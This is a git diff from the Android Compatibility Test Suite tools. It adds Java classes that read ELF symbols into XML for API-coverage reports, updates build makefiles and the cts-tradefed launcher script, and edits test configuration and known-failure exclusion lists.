+ HashMap<String, Element> classEleMap = new HashMap<String, Element>();
+ for (int i = 0; i < symArr.length; i++) {
+ if (symArr[i].isExtern()) {
+ Element methodEle;
+ if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+ methodEle = createFieldEle(dom, symArr[i].name);
+ } else {
+ methodEle = createMethodEle(dom, symArr[i].name);
+ }
+
+ System.out.println(symArr[i].name);
+
+ // add to the class element
+ String libName = symArr[i].getVerDefLibName();
+ Element classEle = classEleMap.get(libName);
+ if (classEle == null) {
+ classEle = createClassEle(dom, libName);
+ classEleMap.put(libName, classEle);
+ }
+ classEle.appendChild(methodEle);
+ }
+ }
+ Iterator ite = classEleMap.entrySet().iterator();
+ while (ite.hasNext()) {
+ Map.Entry<String, Element> entry = (Map.Entry<String, Element>) ite.next();
+ pkgEle.appendChild(entry.getValue());
+ }
+ }
+
+ public static void saveToXML(String xml, ReadElf.Symbol[] symArr) {
+ Document dom;
+ Element ele = null;
+
+ // instance of a DocumentBuilderFactory
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ try {
+ // use factory to get an instance of document builder
+ DocumentBuilder db = dbf.newDocumentBuilder();
+ // create instance of DOM
+ dom = db.newDocument();
+
+ // create the root element
+ Element apiEle = dom.createElement(API_TAG);
+ Element packageEle = dom.createElement(PACKAGE_TAG);
+ setAttribute(dom, packageEle, ATTRIBUTE_NAME, NDK_PACKAGE_NAME);
+ Element classEle = createClassEle(dom, "class");
+ packageEle.appendChild(classEle);
+ apiEle.appendChild(packageEle);
+ dom.appendChild(apiEle);
+
+ for (int i = 0; i < symArr.length; i++) {
+ if (symArr[i].isExtern()) {
+ Element methodEle;
+ if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+ methodEle = createFieldEle(dom, symArr[i].name);
+ } else {
+ methodEle = createMethodEle(dom, symArr[i].name);
+ }
+ classEle.appendChild(methodEle);
+ }
+ }
+
+ try {
+ Transformer tr = TransformerFactory.newInstance().newTransformer();
+ // enable indent in result file
+ tr.setOutputProperty(OutputKeys.INDENT, "yes");
+ tr.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
+
+ // send DOM to file
+ tr.transform(new DOMSource(dom), new StreamResult(new FileOutputStream(xml)));
+
+ } catch (TransformerException te) {
+ System.out.println(te.getMessage());
+ } catch (IOException ioe) {
+ System.out.println(ioe.getMessage());
+ }
+ } catch (ParserConfigurationException pce) {
+ System.out.println("UsersXML: Error trying to instantiate DocumentBuilder " + pce);
+ }
+ }
+
+ protected static boolean isInternalSymbol(ReadElf.Symbol sym) {
+ String value = sInternalSymMap.get(sym.name);
+ if (value == null) {
+ return false;
+ } else {
+ return true;
+ }
+ }
+
+ protected static void setAttribute(Document doc, Node elem, String name, String value) {
+ Attr attr = doc.createAttribute(name);
+ attr.setNodeValue(value);
+ elem.getAttributes().setNamedItem(attr);
+ }
+
+ protected static Element createClassEle(Document doc, String name) {
+ Element ele = doc.createElement(CLASS_TAG);
+ setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+ setAttribute(doc, ele, "abstract", "false");
+ setAttribute(doc, ele, "static", "false");
+ setAttribute(doc, ele, "final", "true");
+ setAttribute(doc, ele, "deprecated", "not deprecated");
+ setAttribute(doc, ele, "visibility", "public");
+ return ele;
+ }
+
+ protected static Element createMethodEle(Document doc, String name) {
+ Element ele = doc.createElement(METHOD_TAG);
+ setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+ setAttribute(doc, ele, "return", NDK_DUMMY_RETURN_TYPE);
+ setAttribute(doc, ele, "abstract", "false");
+ setAttribute(doc, ele, "native", "true");
+ setAttribute(doc, ele, "synchronized", "true");
+ setAttribute(doc, ele, "static", "false");
+ setAttribute(doc, ele, "final", "true");
+ setAttribute(doc, ele, "deprecated", "not deprecated");
+ setAttribute(doc, ele, "visibility", "public");
+ return ele;
+ }
+
+ protected static Element createFieldEle(Document doc, String name) {
+ Element ele = doc.createElement(FIELD_TAG);
+ setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+ setAttribute(doc, ele, "type", "native");
+ setAttribute(doc, ele, "transient", "false");
+ setAttribute(doc, ele, "volatile", "false");
+ setAttribute(doc, ele, "value", "");
+ setAttribute(doc, ele, "static", "false");
+ setAttribute(doc, ele, "final", "true");
+ setAttribute(doc, ele, "deprecated", "not deprecated");
+ setAttribute(doc, ele, "visibility", "public");
+ return ele;
+ }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java
new file mode 100644
index 0000000..bdef0b7
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import com.android.compatibility.common.util.ReadElf;
+
+import java.io.File;
+import java.io.IOException;
+/** Class that holds Native Code Sumbols */
+public class TestModule {
+ private File mConfigExe;
+ private String mModuleName;
+ private String mClassName;
+ private ReadElf.Symbol[] mDynSymArr;
+
+ TestModule(File configExe, String moduleName, String className) {
+ mConfigExe = configExe;
+ mModuleName = moduleName;
+ mClassName = className;
+ }
+
+ public ReadElf.Symbol[] getDynSymArr() throws IOException {
+ if (mDynSymArr == null) {
+ ReadElf re = ReadElf.read(mConfigExe);
+ re.getDynamicSymbol("");
+ mDynSymArr = re.getDynSymArr();
+ }
+
+ return mDynSymArr;
+ }
+
+ public String getModuleName() {
+ return mModuleName;
+ }
+
+ public String getClassName() {
+ return mClassName;
+ }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
new file mode 100644
index 0000000..85423b7
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import org.xml.sax.Attributes;
+import org.xml.sax.SAXException;
+import org.xml.sax.helpers.DefaultHandler;
+
+/**
+ * {@link DefaultHandler} that builds an empty {@link ApiCoverage} object from scanning
+ * TestModule.xml.
+ */
+class TestModuleConfigHandler extends DefaultHandler {
+ private String mTestClassName;
+ private String mModuleName;
+ private Boolean inTestEle = false;
+
+ @Override
+ public void startElement(String uri, String localName, String name, Attributes attributes)
+ throws SAXException {
+ super.startElement(uri, localName, name, attributes);
+
+ if ("test".equalsIgnoreCase(localName)) {
+ mTestClassName = attributes.getValue("class");
+ inTestEle = true;
+ } else if ("option".equalsIgnoreCase(localName)) {
+ if (inTestEle) {
+ String optName = attributes.getValue("name");
+ if ("module-name".equalsIgnoreCase(optName)) {
+ mModuleName = attributes.getValue("value");
+ }
+ //System.out.println(String.format("%s: %s, %s, %s", localName, name, optName, attributes.getValue("value")));
+ }
+ }
+ }
+
+ @Override
+ public void endElement(String uri, String localName, String name) throws SAXException {
+ super.endElement(uri, localName, name);
+ if ("test".equalsIgnoreCase(localName)) {
+ inTestEle = false;
+ }
+ }
+
+ public String getModuleName() {
+ return mModuleName;
+ }
+
+ public String getTestClassName() {
+ return mTestClassName;
+ }
+}
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index e38d210..2f11db9 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -36,7 +36,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceInfo
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
diff --git a/tools/cts-holo-generation/Android.mk b/tools/cts-holo-generation/Android.mk
index 2affc5e..43b346d 100644
--- a/tools/cts-holo-generation/Android.mk
+++ b/tools/cts-holo-generation/Android.mk
@@ -23,7 +23,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tools/cts-media-preparer-app/Android.mk b/tools/cts-media-preparer-app/Android.mk
index 0ef2de4..9d44f8c 100644
--- a/tools/cts-media-preparer-app/Android.mk
+++ b/tools/cts-media-preparer-app/Android.mk
@@ -30,7 +30,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsMediaPreparerApp
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 5497dda..76bfaa8 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk
@@ -25,12 +25,15 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-preconditions
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-preconditions \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsPreconditions
diff --git a/tools/cts-reference-app-lib/Android.mk b/tools/cts-reference-app-lib/Android.mk
index fae85b4..8f6039d 100644
--- a/tools/cts-reference-app-lib/Android.mk
+++ b/tools/cts-reference-app-lib/Android.mk
@@ -24,6 +24,8 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
+
LOCAL_SDK_VERSION := current
LOCAL_MODULE := android.cts.refapp
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index bf1a682..03c963b 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -20,12 +20,17 @@
LOCAL_JAVA_RESOURCE_DIRS := res
LOCAL_JAVA_RESOURCE_DIRS += ../../common/host-side/tradefed/res
+LOCAL_MODULE := cts-tradefed-harness
+LOCAL_JAVA_LIBRARIES += tradefed compatibility-host-util
+include $(BUILD_HOST_JAVA_LIBRARY)
+include $(CLEAR_VARS)
LOCAL_SUITE_BUILD_NUMBER := $(BUILD_NUMBER_FROM_FILE)
LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
LOCAL_SUITE_NAME := CTS
LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 8.0_r12
+LOCAL_SUITE_VERSION := 8.1_r8
+LOCAL_STATIC_JAVA_LIBRARIES += cts-tradefed-harness
LOCAL_MODULE := cts-tradefed
LOCAL_COMPATIBILITY_SUITE := general-tests
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 15249c3..93f7824 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -31,15 +31,28 @@
fi;
}
+# readlink does not work on MacOS so rely on our own realpath
+realpath() {
+ [[ $1 = /* ]] && echo "$1" || echo "$PWD/${1#./}"
+}
+
checkPath aapt
checkPath adb
checkPath java
# check java version
-JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
-if [ "${JAVA_VERSION}" == "" ]; then
- echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
- exit
+if [ "${EXPERIMENTAL_USE_OPENJDK9}" == "" ]; then
+ JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
+ if [ "${JAVA_VERSION}" == "" ]; then
+ echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
+ exit
+ fi
+else
+ JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '^java .* "9.*')
+ if [ "${JAVA_VERSION}" == "" ]; then
+ echo "Wrong java version. Version 9 is required."
+ exit
+ fi
fi
# check debug flag and set up remote debugging
@@ -76,7 +89,7 @@
if [ -z ${CTS_ROOT} ]; then
# assume we're in an extracted cts install
- CTS_ROOT="$(dirname $0)/../.."
+ CTS_ROOT="$(dirname $(realpath $0))/../.."
fi;
JAR_DIR=${CTS_ROOT}/android-cts/tools
diff --git a/tools/cts-tradefed/res/config/cts-common.xml b/tools/cts-tradefed/res/config/cts-common.xml
new file mode 100644
index 0000000..d19cad1
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-common.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Common configuration for cts and cts-reference-aosp">
+
+ <include name="everything" />
+ <include name="cts-preconditions" />
+ <include name="cts-system-checkers" />
+ <include name="cts-known-failures" />
+
+ <option name="test-tag" value="cts" />
+
+ <option name="enable-root" value="false" />
+ <!-- retain 200MB of host log -->
+ <option name="max-log-size" value="200" />
+ <!-- retain 200MB of logcat -->
+ <option name="max-tmp-logcat-file" value="209715200" />
+
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="settings put global package_verifier_enable 0" />
+ <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
+ </target_preparer>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+ <option name="property-name" value="ro.build.type" />
+ <option name="expected-value" value="user"/> <!-- Device should have user build -->
+ <option name="throw-error" value="false"/> <!-- Only print warning if not user build -->
+ </target_preparer>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
+ <option name="property-name" value="ro.product.locale" />
+ <option name="expected-value" value="en-US"/> <!-- Device locale should be US English -->
+ <option name="throw-error" value="false"/> <!-- Only print warning if not en-US -->
+ </target_preparer>
+ <template-include name="reporters" default="basic-reporters" />
+
+ <!-- Include additional test metadata output. -->
+ <template-include name="metadata-reporters" default="empty" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
new file mode 100644
index 0000000..240ffa1
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Excluded tests from main CTS runs">
+ <!-- b/64127136 -->
+ <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
+ <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
+ <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 8e308eb..0d52a1f 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -19,11 +19,6 @@
<!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME.CLASS_NAME" /> Excludes whole class -->
<!-- <option name="compatibility:exclude-filter" value="MODULE_NAME PACKAGE_NAME.CLASS_NAME#TEST_NAME" /> Excludes individual test -->
- <!-- b/71775416 -->
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PrivilegedUpdateTests#testDisableUpdatedSystemApp" />
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PrivilegedUpdateTests#testPrivilegedAppUpgradePriorities" />
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PrivilegedUpdateTests#testPrivilegedAppUpgradeRestricted" />
-
<!-- b/38182235 -->
<option name="compatibility:exclude-filter" value="CtsLocationTestCases android.location.cts.GnssTtffTests#testTtffWithNetwork" />
@@ -35,29 +30,8 @@
<option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText" />
<option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverTextExtend" />
- <!-- b/17993121 -->
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testAppWidgetProviderCallbacks" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testBindAppWidget" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testCollectionWidgets" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testDeleteHost" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testDeleteHosts" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetIds" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetInfo" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testGetAppWidgetOptions" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetId" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetIds" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testTwoAppWidgetProviderCallbacks" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaComponentName" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetId" />
- <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetIds" />
-
- <!-- b/17530117 -->
- <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testBlackWhite" />
- <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testParamSensitivity" />
<!-- b/17989532 -->
<option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.SurfaceViewPreviewTest#testPreparePerformance" />
- <!-- b/23008511 -->
- <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.cts.CameraTest#testPreviewFpsRange" />
<!-- These test cases are only applicable to Android Auto Embedded targets.-->
<option name="compatibility:exclude-filter" value="CtsCarTestCases" />
@@ -92,26 +66,14 @@
<option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001" />
<option name="compatibility:exclude-filter" value="CtsJdwp org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001" />
- <!-- b/18117279 b/21262226 b/23144425 -->
+ <!-- b/21262226 -->
<option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withMobile" />
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withWifi" />
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintExecutes_withWifi" />
<option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintFails_withMobile" />
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.TimingConstraintsTest#testJobParameters_unexpiredDeadline" />
<!-- b/62616944 -->
<option name="compatibility:exclude-filter" value="CtsLibcoreJavaUtilCollectionsTestCases" />
- <!-- b/17144778 -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ImageReaderDecoderTest#testHwAVCDecode360pForFlexibleYuv" />
- <!-- b/23827982 -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW" />
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264SurfArbitraryW" />
-
- <!-- b/25651805 -->
- <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testRestrictedNetworks" />
<!-- b/18682315 -->
- <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#testCreateSocket" />
<option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_bind" />
<option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_simple" />
<option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_wrapping" />
@@ -120,15 +82,6 @@
<option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingFast" />
<option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingSlow" />
- <!-- b/18091590 -->
- <option name="compatibility:exclude-filter" value="CtsOpenGlPerfTestCases android.openglperf.cts.GlVboPerfTest#testVboWithVaryingIndexBufferNumbers" />
-
- <!-- b/23192492 -->
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts" />
-
- <option name="compatibility:exclude-filter" value="CtsSampleDeviceTestCases" />
- <option name="compatibility:exclude-filter" value="CtsSampleHostTestCases" />
-
<!-- b/18461670 -->
<option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_getStreamVolumeLeak" />
<option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.AudioPolicyBinderTest#test_isStreamActive" />
@@ -148,21 +101,8 @@
<option name="compatibility:exclude-filter" value="x86_64 CtsRenderscriptLegacyTestCases" />
<option name="compatibility:exclude-filter" value="mips64 CtsRenderscriptLegacyTestCases" />
- <!-- b/23604254 -->
- <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.ExtendedInCallServiceTest#testAddNewOutgoingCallAndThenDisconnect" />
- <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.RemoteConferenceTest#testRemoteConferenceCallbacks_ConferenceableConnections" />
-
- <!-- b/23779020 -->
- <option name="compatibility:exclude-filter" value="CtsTransitionTestCases android.transition.cts.ChangeScrollTest#testChangeScroll" />
-
<!-- b/17536113 -->
<option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testNoAccessSilentlyFails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testOrderedActivityLaunchSequenceInEventLog" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testPackageUsageStatsIntervals" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.UsageStatsTest#testUsageEventsParceling" />
-
- <!-- b/23238984 -->
- <option name="compatibility:exclude-filter" value="CtsVoiceSettingsTestCases android.voicesettings.cts.ZenModeTest#testAll" />
<!-- b/26235244 -->
<option name="compatibility:exclude-filter" value="android.util.cts.EventLogTest#testWriteEventWithOversizeValue" />
@@ -183,15 +123,6 @@
<!-- b/36686383 -->
<option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
- <!-- b/33090965 -->
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720" />
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
-
- <!-- b/37545399 -->
- <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
-
<!-- b/37482372 -->
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInOutPortraitTest" />
@@ -200,6 +131,9 @@
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentAndInitTitleMultiWindowPortraitTest" />
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentNoHeadersMultiWindowPortraitTest" />
+ <!-- b/63916274 -->
+ <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+
<!-- b/38177396 -->
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowHistoryPreserveLandscapeTest" />
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowInOutLandscapeTest" />
@@ -233,23 +167,11 @@
<!-- b/62481870 -->
<option name="compatibility:exclude-filter" value="CtsNativeMediaAAudioTestCases android.nativemedia.aaudio.AAudioOutputStreamCallbackTest#testPlayback" />
- <!-- b/62844160 -->
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAutoSizeCallers_setText" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionSingleLineLtr" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineLtr" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineRtl" />
-
<!-- b/62976713 -->
<option name="compatibility:exclude-filter" value="arm64-v8a CtsMediaBitstreamsTestCases" />
<option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
<option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
- <!-- b/38280830 -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
-
- <!-- b/63566721 -->
- <option name="compatibility:exclude-filter" value="CtsWrapWrapDebugTestCases" />
-
<!-- b/38420898 -->
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiChannel" />
